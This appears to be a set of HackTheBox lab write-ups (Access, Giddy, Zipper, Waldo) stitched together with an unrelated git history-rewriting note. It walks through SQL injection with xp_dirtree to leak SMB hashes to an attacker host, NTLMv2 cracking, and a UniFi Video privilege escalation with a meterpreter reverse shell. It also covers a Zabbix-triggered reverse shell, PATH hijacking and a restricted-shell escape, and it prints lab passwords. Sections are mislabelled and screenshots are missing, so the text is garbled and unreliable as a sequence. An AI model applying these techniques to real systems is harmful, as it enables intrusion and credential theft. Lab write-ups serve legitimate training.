Hackthebox is a website which has bunch of vulnerable machines in its own VPN.
This is a write-up of “Access”.
Solution:
1. Initial Enumeration
Port scanning:
root@kali:~# nmap -p- 10.10.10.98 -sV-sC
Starting Nmap 7.70 ( https://nmap.org ) at 2018-09-30 09:27 EEST
Nmap scan report for 10.10.10.98
Host is up (0.035s latency).
Not shown: 65532 filtered ports
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
| ftp-syst:
|_ SYST: Windows_NT
23/tcp open telnet?
80/tcp open http Microsoft IIS httpd 7.5
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: MegaCorp
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 294.22 seconds
2. Getting User
FTP enumeration:
root@kali:~# ftp 10.10.10.98
Connected to 10.10.10.98.
220 Microsoft FTP Service
Name (10.10.10.98:root): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
200 PORT command successful.
125 Data connection already open; Transfer starting.
08-23-18 09:16PM <DIR> Backups
08-24-18 10:00PM <DIR> Engineer
226 Transfer complete.
ftp>
Backups directory has a password protected zip file “Access Control.zip”.
ftp> cd engineer
250 CWD command successful.
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
08-24-18 01:16AM 10870 Access Control.zip
226 Transfer complete.
ftp>
On the other hand, engineer directory has a mdb file “backup.mdb”
ftp> cd backups
250 CWD command successful.
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
08-23-18 09:16PM 5652480 backup.mdb
226 Transfer complete.
“mdb” is a file extension for old Access database file (Until Access 2003).
There is a website which shows the inside and we can download it as a csv file.
In a table auth_user, we can find interesting information.
The content of “Access Control.pst” is new password for user “security”.
root@kali:~# cat'Access Control.mbox'
From "john@megacorp.com" Fri Aug 24 02:44:07 2018
Status: RO
From: john@megacorp.com <john@megacorp.com>
Subject: MegaCorp Access Control System "security" account
To: 'security@accesscontrolsystems.com'
Date: Thu, 23 Aug 2018 23:44:07 +0000
MIME-Version: 1.0
Content-Type: multipart/mixed;boundary="--boundary-LibPST-iamunique-213062548_-_-"----boundary-LibPST-iamunique-213062548_-_-
Content-Type: multipart/alternative;boundary="alt---boundary-LibPST-iamunique-213062548_-_-"--alt---boundary-LibPST-iamunique-213062548_-_-
Content-Type: text/plain;charset="utf-8"
Hi there,
The password for the “security” account has been changed to 4Cc3ssC0ntr0ller. Please ensure this is passed on to your engineers.
Regards,
John
~~~~
Sounds like we found a initial credential for user “security”.
By trying this password, we can get a remote shell.
root@kali:~# telnet 10.10.10.98
Trying 10.10.10.98...
Connected to 10.10.10.98.
Escape character is '^]'.help
Welcome to Microsoft Telnet Service
login: security
password: # 4Cc3ssC0ntr0ller*===============================================================
Microsoft Telnet Server.
*===============================================================
C:\Users\security>
User.txt is in a desktop folder for user “security”.
We can take advantage of this weekness by “runas” command with “/savecred” parameter.
For .exe file, we have to specify its full path.
Highly recommend to spin up windows 10 VM and test the command because it does not have any error output when we attack “Access” with telnet.
And, if we add a single quote end of this url, we can get this error
This means that Product.aspx has SQL injection vulnerability.
In this case, we can actually use an undocumented stored procedure for MSSQL to steal SMB credentials.
At first, we have to run our own SMB server to receive connection. We can do this with Metasploit module.
msf5 > use auxiliary/server/capture/smb
msf5 auxiliary(server/capture/smb)>set johnpwfile /root/pw.txt
johnpwfile => /root/pw.txt
msf5 auxiliary(server/capture/smb)>set srvhost 10.10.14.23
srvhost => 10.10.14.23
msf5 auxiliary(server/capture/smb)> run
[*] Auxiliary module running as background job 0.
[*] Started service listener on 10.10.14.23:445
[*] Server started.
Then, open sql-shell with sqlmap and execute command “xp_dirtree”.
root@kali:~# sqlmap -u http://10.10.10.104/mvc/Product.aspx?ProductSubCategoryId=18 --sql-shell
~~~
sql-shell> EXEC master..xp_dirtree '\\10.10.14.23\baa,foo'[19:14:59] [WARNING] reflective value(s) found and filtering out
EXEC master..xp_dirtree '\\10.10.14.23\baa,foo': 'NULL'
sql-shell>
Then, we can receive some SMB connections from Giddy.
This time, we got username “GIDDY/STACY” and its NTHASH.
By using john the ripper, we can achieve a password for user stacy.
root@kali:~# john pw.txt_netntlmv2 --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 14 password hashes with 14 different salts (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
xNnWo6272k7x (Stacy)
xNnWo6272k7x (Stacy)
xNnWo6272k7x (Stacy)
xNnWo6272k7x (Stacy)
xNnWo6272k7x (Stacy)
xNnWo6272k7x (Stacy)
xNnWo6272k7x (Stacy)
xNnWo6272k7x (Stacy)
xNnWo6272k7x (Stacy)
xNnWo6272k7x (Stacy)
xNnWo6272k7x (Stacy)
xNnWo6272k7x (Stacy)
xNnWo6272k7x (Stacy)
xNnWo6272k7x (Stacy)
14g 0:00:00:07 DONE (2019-02-26 21:01) 1.806g/s 348820p/s 4883Kc/s 4883KC/s xevood..wtkate
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed
Now, we have username and password to login to Powershell Web Access.
Since we have powershell, we can easily access to user.txt.
3.Getting Root
After logged in the Powershell console, we can find that there is an interesting file
root@kali:~# searchsploit unifi video
-----------------------------------------------------------------------------------------------------------------------------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)-----------------------------------------------------------------------------------------------------------------------------------------------------------
Ubiquiti Networks UniFi Video Default - 'crossdomain.xml' Security Bypass | exploits/php/webapps/39268.java
Ubiquiti UniFi Video 3.7.3 - Local Privilege Escalation | exploits/windows/local/43390.txt
-----------------------------------------------------------------------------------------------------------------------------------------------------------
Shellcodes: No Result
This means, if we have a permission for writting C:\ProgramData\unifi-video, We can write a file “taskkill.exe” in that folder.
By default that file does not exist.
However, “Unifi Video” still tries to execute it with privileged permission when it restarts.
Payload creation:
This time, to avoid antivirus, we use a Metasploit evasion module.
With these procedure, we can see that we got a meterpreter shell.
Which has privilege of NT AUTHORITY\SYSTEM.
[*] Started HTTPS reverse handler on https://10.10.14.23:443
[*] https://10.10.14.23:443 handling request from 10.10.10.104;(UUID: fhbxmi4j) Redirecting stageless connection from /zhbkjtSs9OjYs9myhMWwjg8W-NNUTkclqLtPZjGEDiL1a5TuI with UA 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko'[*] https://10.10.14.23:443 handling request from 10.10.10.104;(UUID: fhbxmi4j) Attaching orphaned/stageless session...
[*] Meterpreter session 1 opened (10.10.14.23:443 -> 10.10.10.104:49708) at 2019-02-27 12:36:46 +0200
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
As usual, root.txt is in the directory “C:\Users\Administrator\Desktop”.
We can login as a guest user.
By enumeration, we can figure out there is a user “zapper”.
zapper uses easily guessable password “zapper”.
By taking advantage of this, we can login to zabbix as general user.
However, we are still not able to use Zabbix GUI console due to its configuration.
Then we have to use “zabbix-cli”
At first, we have to install and setup zabbix-cli with following commands.
root@kali:~# git clone https://github.com/usit-gd/zabbix-cli.git
~~~
root@kali:~/zabbix-cli# ./setup.py install
~~~
root@kali:~/zabbix-cli# zabbix-cli-init -z http://10.10.10.108/zabbix
[INFO]: wrote config to '/root/.zabbix-cli/zabbix-cli.conf'
Next, try to connect with “zabbix-cli” command.
As you can see, by using credentail “zapper:zapper”, we can log in to zabbix CLI console.
root@kali:~/zabbix-cli# zabbix-cli
-------------------------
Zabbix-CLI authentication
-------------------------# Username[root]: zapper# Password: #############################################################
Welcome to the Zabbix command-line interface (v.2.0.1)#############################################################
Type help or \? to list commands.
[zabbix-cli zapper@zabbix-ID]$
At first, enable the GUI console and change the group to “Zabbix administratiors”.
[zabbix-cli zapper@zabbix-ID]$ show_usergroups
+---------+---------------------------+--------------------+-------------+--------+
| GroupID | Name | GUI access | Status | Users |
+---------+---------------------------+--------------------+-------------+--------+
| 9 | Disabled | System default (0) | Disable (1) | |
| 11 | Enabled debug mode | System default (0) | Enable (0) | me |
| 8 | Guests | System default (0) | Enable (0) | guest |
| 12 | No access to the frontend | Disable (2) | Enable (0) | zapper |
| 7 | Zabbix administrators | System default (0) | Enable (0) | Admin |
+---------+---------------------------+--------------------+-------------+--------+
[zabbix-cli zapper@zabbix-ID]$ add_user_to_usergroup zapper 7
[Done]: Users zapper added to these usergroups: 7
[zabbix-cli zapper@zabbix-ID]$ remove_user_from_usergroup zapper "No access to the frontend"[Done]: User zapper removed from this usergroup: No access to the frontend
Next, login with Web console and go to Configuration->Actions.
Create new action which executes reverse shell
Action window:
Conditions window:
Operations window:
Next, we have to create a new trigger for the action.
Go Configuration->Hosts->Zipper(hostname)->Triggers->Create trigger
We have to wait for a while for getting a reverse shell.
root@kali:~# nc -nlvp 80
listening on [any] 80 ...
connect to [10.10.14.23] from (UNKNOWN)[10.10.10.108] 56834
/bin/sh: 0: can't access tty; job control turned off
# Getting tty
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
zabbix@zipper:~$
By some enumeration, we can find an interesting file in /home/zapper/utils
$ cat backup.sh
#!/bin/bash## Quick script to backup all utilities in this folder to /backups#
/usr/bin/7z a /backups/zapper_backup-$(/bin/date +%F).7z -pZippityDoDah /home/zapper/utils/* &>/dev/null
echo$?
As we can see, we found a password “ZippityDoDah”.
We can use it for changing user to zapper.
zabbix@zipper:/home/zapper$ su zapper
su zapper
Password: ZippityDoDah
Welcome to:
███████╗██╗██████╗ ██████╗ ███████╗██████╗
╚══███╔╝██║██╔══██╗██╔══██╗██╔════╝██╔══██╗
███╔╝ ██║██████╔╝██████╔╝█████╗ ██████╔╝
███╔╝ ██║██╔═══╝ ██╔═══╝ ██╔══╝ ██╔══██╗
███████╗██║██║ ██║ ███████╗██║ ██║
╚══════╝╚═╝╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═╝
[0] Packages Need To Be Updated
[>] Backups:
4.0K /backups/zapper_backup-2018-10-26.7z
4.0K /backups/zabbix_scripts_backup-2018-10-26.7z
zapper@zipper:~$
In that file, we can find that it is likely to use “systemctl” command.
We can take advantage of this possible shell injection weakness.
We can create a shell which name is “systemctl” in the same directory and zabbix-service would execute it.
Changing all authors and committers of git history.
Solution
root@kali:~# git filter-branch -f--env-filter"GIT_AUTHOR_NAME='1n4r1'; GIT_AUTHOR_EMAIL='1n4r1@protonmail.com'; GIT_COMMITTER_NAME='1n4r1'; GIT_COMMITTER_EMAIL='1n4r1@protonmail.com';" HEAD
This causes conflict between local git repo and remote.
After this command, we have to use git push –force.
root@kali:~/1n4r1.github.io# git push origin master
Username for'https://github.com': 1n4r1
Password for'https://1n4r1@github.com':
To https://github.com/1n4r1/1n4r1.github.io.git
![rejected] master -> master (non-fast-forward)
error: failed to push some refs to 'https://github.com/1n4r1/1n4r1.github.io.git'
hint: Updates were rejected because the tip of your current branch is behind
hint: its remote counterpart. Integrate the remote changes (e.g.
hint: 'git pull ...') before pushing again.
hint: See the 'Note about fast-forwards'in'git push --help'for details.
root@kali:~/1n4r1.github.io# git push -- force origin master
fatal: 'force' does not appear to be a git repository
fatal: Could not read from remote repository.
Please make sure you have the correct access rights
and the repository exists.
Hackthebox is a website which has bunch of vulnerable machines in its own VPN.
This is a write-up of machine “Waldo” on that website.
Solution
1. Initial Enumeration
Port Scanning:
root@kali:~# nmap -p- 10.10.10.87 -sV-sC
Starting Nmap 7.70 ( https://nmap.org ) at 2018-09-14 08:55 EEST
Nmap scan report for 10.10.10.87
Host is up (0.046s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.5 (protocol 2.0)
| ssh-hostkey:
| 2048 c4:ff:81:aa:ac:df:66:9e:da:e1:c8:78:00:ab:32:9e (RSA)
| 256 b3:e7:54:6a:16:bd:c9:29:1f:4a:8c:cd:4c:01:24:27 (ECDSA)
|_ 256 38:64:ac:57:56:44:d5:69:de:74:a8:88:dc:a0:b4:fd (ED25519)
80/tcp open http nginx 1.12.2
|_http-server-header: nginx/1.12.2
| http-title: List Manager
|_Requested resource was /list.html
|_http-trane-info: Problem with XML parsing of /evox/about
8888/tcp filtered sun-answerbook
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.79 seconds
root@kali:~# ssh nobody@10.10.10.87 -i private_key
Welcome to Alpine!
The Alpine Wiki contains a large amount of how-to guides and general
information about administrating Alpine systems.
See <http://wiki.alpinelinux.org>.
waldo:~$ cat user.txt
32768bcd7513275e085fd4e7b63e9d24
3.Getting root
We can find an interesting private key file in /home/monitor/.ssh
By following command, we can get out of docker container as user “monitor”.
waldo:~/.ssh$ ssh monitor@localhost -i .monitor
Linux waldo 4.9.0-6-amd64 #1 SMP Debian 4.9.88-1 (2018-04-29) x86_64
Last login: Tue Jul 24 08:09:03 2018 from 127.0.0.1
~~~
-rbash: alias: command not found
monitor@waldo:~$
Without doing something, even we can not do “cd”.
To bypass restricted shell, we can take advantage of red command.
monitor@waldo:~$ cd ../
-rbash: cd: restricted
monitor@waldo:~$ red
!'/bin/sh'$ cd /
$ ls
bin etc initrd.img.old lost+found opt run sys var
boot home lib media proc sbin tmp vmlinuz
dev initrd.img lib64 mnt root srv usr vmlinuz.old
$
Then, we can find a file which has weak permission (capability).
Conditions window:
Operations window:
